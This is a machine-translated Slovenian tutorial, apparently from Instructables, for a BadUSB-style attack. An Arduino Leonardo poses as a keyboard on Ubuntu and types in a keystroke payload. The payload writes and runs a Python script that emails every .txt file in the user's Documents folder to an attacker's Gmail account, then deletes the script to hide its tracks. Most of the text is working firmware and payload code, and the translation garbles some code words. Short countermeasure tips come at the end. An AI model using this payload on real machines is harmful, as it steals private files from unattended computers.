Kazalo:

Predstavitev izkoriščanja tipkovnice Arduino (HID) in preprečevanje: 4 koraki (s slikami)
Predstavitev izkoriščanja tipkovnice Arduino (HID) in preprečevanje: 4 koraki (s slikami)

Video: Predstavitev izkoriščanja tipkovnice Arduino (HID) in preprečevanje: 4 koraki (s slikami)

Video: Predstavitev izkoriščanja tipkovnice Arduino (HID) in preprečevanje: 4 koraki (s slikami)
Video: Would you do this in a presentation? 😂 2024, Julij
Anonim
Image
Image
Sestavljanje naprave
Sestavljanje naprave

V tem projektu bomo uporabili arduino leonardo za simulacijo možnega napada USB z uporabo HID (humain interface device).

Te vadnice sem ustvaril ne zato, da bi pomagal hekerjem, ampak da bi vam pokazal nekaj resničnih nevarnosti in kako se zaščititi pred temi nevarnostmi. Ta naprava ni naprava, ki jo je mogoče uporabiti na kateri koli platformi za hekerje, ampak je bolj podroben dokaz koncepta.

Naučili se bomo naslednjega:

- kako uporabiti arduino leonardo za posnemanje tipkovnice

- kako prebrati podatke s kartic SD

- kako ustvariti skript python, ki skenira datoteke in jih pošlje po e -pošti

- kako zaščititi sebe pred vdori USB

1. korak: Materiali

Deli:

1. Arduino leonardo

2. bralnik kartic micro USB

3. nekaj GB SD kartico

4. takšen gumb (VCC, ozemljitev in signal)

5. moški moški in žensko-ženski kabli

6. kabel mikro USB v USB

2. korak: Izdelava naprave

Sestavljanje naprave
Sestavljanje naprave

Pred gradbenim navodilom si oglejmo načelo delovanja:

Arduino leonardo se lahko obnaša kot naprava za človeški vmesnik (HID) in zato lahko posnema miško in tipkovnico. To funkcijo bomo uporabili za odpiranje terminala (v UBUNTU linux) in pisanje majhnega skripta, ki bo imel dostop do mape /Dokumenti v domači mapi uporabnikovih, kopirajte datoteke.txt tam in jih nekomu pošljite po e -pošti. Če želite izvedeti več podrobnosti, preverite naslednji korak.

Ker gre za demo napravo, so stvari zelo preproste, ne bomo nič spajkali.

Navodila za gradnjo

Preden začnemo, preverimo priložene datoteke, priložil sem sheme fritzinga in vse potrebne datoteke

1. Sestavite komponente:

* kabel mikro USB priključite v arduino

* stikalo za ključ priključite na arduino (ozemljitveni, vcc in izhodni modul na D8)

* bralnik kartic priključite na arduino (z glavo ICSP). Arduino leonardo nima glave ICSP, povezane z digitalnimi zatiči, zato boste morali bralnik kartic priključiti na glavo ICSP. Nekaj risb ICSP-ja najdete tukaj: https://learn.sparkfun.com/tutorials/installing-an…. Priključite pin SS na digitalni pin 10

2. dobite kodo arduino, lahko klonirate moje skladišče arduino na githubu: https://github.com/danionescu0/arduino in pojdite na projects/keyboard_exploit ali ga dobite od spodaj:

#include "Keyboard.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Spanje::"; String commandStartingPoint = "Ukaz::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Kartica ni uspela ali ni prisotna!"); vrnitev; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Naloženo!"); zamuda (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Navedeno ime datoteke ni na kartici SD, preverite ime datotekeOnCard!"); } Vrstica niza; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (vrstica); sendToKeyboard (vrstica); } dataFile.close (); } void sendToKeyboard (vrstica niza) {String workingLine = vrstica; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (vrstica); vrnitev; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Besedilo:"); Serial.println (vrstica); Keyboard.println (vrstica); pritisnite Enter (); vrnitev; } Serial.println ("Ukaz:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (WorkingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Ukaz niza = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (ukaz! = "") {Serial.print ("Ukaz je najden:"); Serial.println (ukaz); Keyboard.press (getCommandCode (ukaz)); zakasnitev (delayBetweenCommands); }} Keyboard.releaseAll (); zakasnitev (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Spanje za:"); Serial.println (sleepAmount); zamuda (sleepAmount); } char getCommandCode (besedilo niza) {char textCharacters [2]; text.toCharArray (textCraracters, 2); koda char = textCharacters [0]; code = (text == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: koda; code = (text == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: koda; code = (text == "KEY_LEFT_ALT")? KEY_LEFT_ALT: koda; code = (text == "KEY_UP_ARROW")? KEY_UP_ARROW: koda; code = (text == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: koda; code = (text == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: koda; code = (text == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: koda; code = (text == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: koda; code = (text == "KEY_BACKSPACE")? KEY_BACKSPACE: koda; code = (text == "KEY_TAB")? KEY_TAB: koda; code = (text == "KEY_RETURN")? KEY_RETURN: koda; code = (text == "KEY_ESC")? KEY_ESC: koda; code = (text == "KEY_INSERT")? KEY_INSERT: koda; code = (text == "KEY_DELETE")? KEY_DELETE: koda; code = (text == "KEY_PAGE_UP")? KEY_PAGE_UP: koda; code = (text == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: koda; code = (text == "KEY_HOME")? KEY_HOME: koda; code = (text == "KEY_END")? KEY_END: koda; code = (text == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: koda; code = (text == "KEY_F1")? KEY_F1: koda; code = (text == "KEY_F2")? KEY_F2: koda; code = (text == "KEY_F3")? KEY_F3: koda; code = (text == "KEY_F4")? KEY_F4: koda; code = (text == "KEY_F5")? KEY_F5: koda; code = (text == "KEY_F6")? KEY_F6: koda; code = (text == "KEY_F7")? KEY_F7: koda; code = (text == "KEY_F8")? KEY_F8: koda; code = (text == "KEY_F9")? KEY_F9: koda; code = (text == "KEY_F10")? KEY_F10: koda; code = (text == "KEY_F11")? KEY_F1: koda; code = (text == "KEY_F12")? KEY_F2: koda;

povratna koda;

}

3. Naložite kodo v arduino, ne pozabite izbrati 9600 baud rate, serijskih vrat in arduino leonardo

4. Sd kartico formatirajte s FAT16 ali FAT32

5. Če ste klonirali repo github od zgoraj, kopirajte datoteko hack.txt na kartico, če datoteka ni navedena spodaj:

Ukaz:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Ukaz:: KEY_INSERT uvoz smtplib uvoz glob, os iz os.path uvoz razširitve uporabnika iz e -pošte. MIMEText uvoz MIMEText iz e -pošte. Pomožni uvoz COMMASPACE, formatdate iz kod za uvoz e -pošte

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'naslov_prejemnika' scan_documents_location = 'Dokumenti'

subject = body = 'Datoteke iz vdrtega računalnika'

header = 'Za: {0} nOd: {1} nZadeva: {2} n'.format (to_address, smtp_user, subject)

def sendMail (do, zadeva, besedilo, datoteke = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = predmet sporočila (MIMEText (besedilo)) za datoteko v datotekah: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (file)) msg.attach (del)

strežnik = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Uredite naslednje vrstice:

smtp_user = 'sender_email_addr'

smtp_pass = 'geslo za pošiljatelja' do_address = 'naslov_prejemnika'

In zamenjajte z vašimi e -poštnimi naslovi

7. Odstranite kartico in jo vstavite v bralnik kartic arduino

3. korak: Kako deluje v podrobnostih

Kako bo napad deloval:

1. Ko pritisnete gumb, bo leonardo prebral sd kartico z bralnikom sd kartic. Na kartici bo posebna datoteka, ki vsebuje ključe in kombinacijo tipk. Ime datoteke je "hack.txt".

Datoteka lahko vsebuje neobdelano besedilo in bo tako prenesena na tipkovnico.

Vsebuje lahko tudi posebne ukaze, kot sta "Sleep::" in "Command::".

Vrstica, kot je:

Sleep:: 200 pomeni 200 ms spanja

Vrstica, kot je:

Ukaz:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t pomeni pritisnjen levi ctrl, levi alt pritisnjen, t pritisnjen in vse sproščeno

Vse posebne ključe lahko preverite tukaj:

2. Leonardo bo bral vrstico za vrstico, razlagal ukaze in posnemal tipke na tipkovnici. Datoteka "hack.txt" vsebuje kombinacijo ključev, ki naredijo naslednje (za UBUNTU linux):

a. odpre terminal (CTRL + ALT + T)

b. odpre datoteko python za ustvarjanje z uporabo vi (napiše "vi hack.py"

c. v notranjost napiše skript python, ki zbere vse besedilne datoteke v domači mapi dokumentov in jih pošlje na določen naslov gmail

d. zažene datoteko v ozadju ("nohup python hack.py &")

e. izbriše datoteko (rm -rf hack.py)

f. zapre terminal (ALT + F4)

Vse skupaj teče v nekaj sekundah in ne pušča sledi.

Izboljšave in odpravljanje težav

* Morda ste opazili, da po odprtju terminala pišem datoteko python. boljši način je, da ga nekje gostite in naložite z ukazom "wget some_url", nato pa ga preimenujete v hack.py

* Prav tako lahko naložimo ali zaženemo že pripravljen izkoristek za ciljni operacijski sistem

* Wi -Fi lahko dodate v modul, hack pa naložite prek WIFI

* lahko uporabite arduino micro (ki je veliko manjši) in vanj vdelate kodo za izkoriščanje (za zmanjšanje)

Omejitve

1. Ker simulirana naprava (tipkovnica in miška) nima povratnih informacij, ne vemo, kaj se bo zgodilo po izdaji ukaza, kar pomeni, da moramo uporabiti zamude. Na primer, izdajam ukaz za odpiranje terminala, vendar ne vem, kdaj bo dejansko odprt, zato moram določiti poljubno zakasnitev, da zagotovim, da znaki, vneseni po, ne bodo izgubljeni.

2. Lahko naletimo na težave z dovoljenji, na primer brez dostopa do vrat USB ali dovoljenja za namestitev nečesa

3. Hitrost tipkanja pri leonardu ni tako velika

4. Deloval bo le na ciljnem operacijskem sistemu (v našem primeru UBUNTU linux)

V naslednjem koraku bomo poskušali najti načine, kako izkoristiti te omejitve in preprečiti vdor v računalnik

4. korak: Protiukrepi

1. Onemogočanje vrat USB

-za Windows lahko preverite to vadnico:

2. Naprave USB na belem seznamu:

- za okna:

2. Ko niste doma, zaklenite računalnik

3. Ne prijavite se kot root (zahtevajte gesla za namestitev česar koli)

4. Posodobite se (samodejne posodobitve vklopljene)

Priporočena: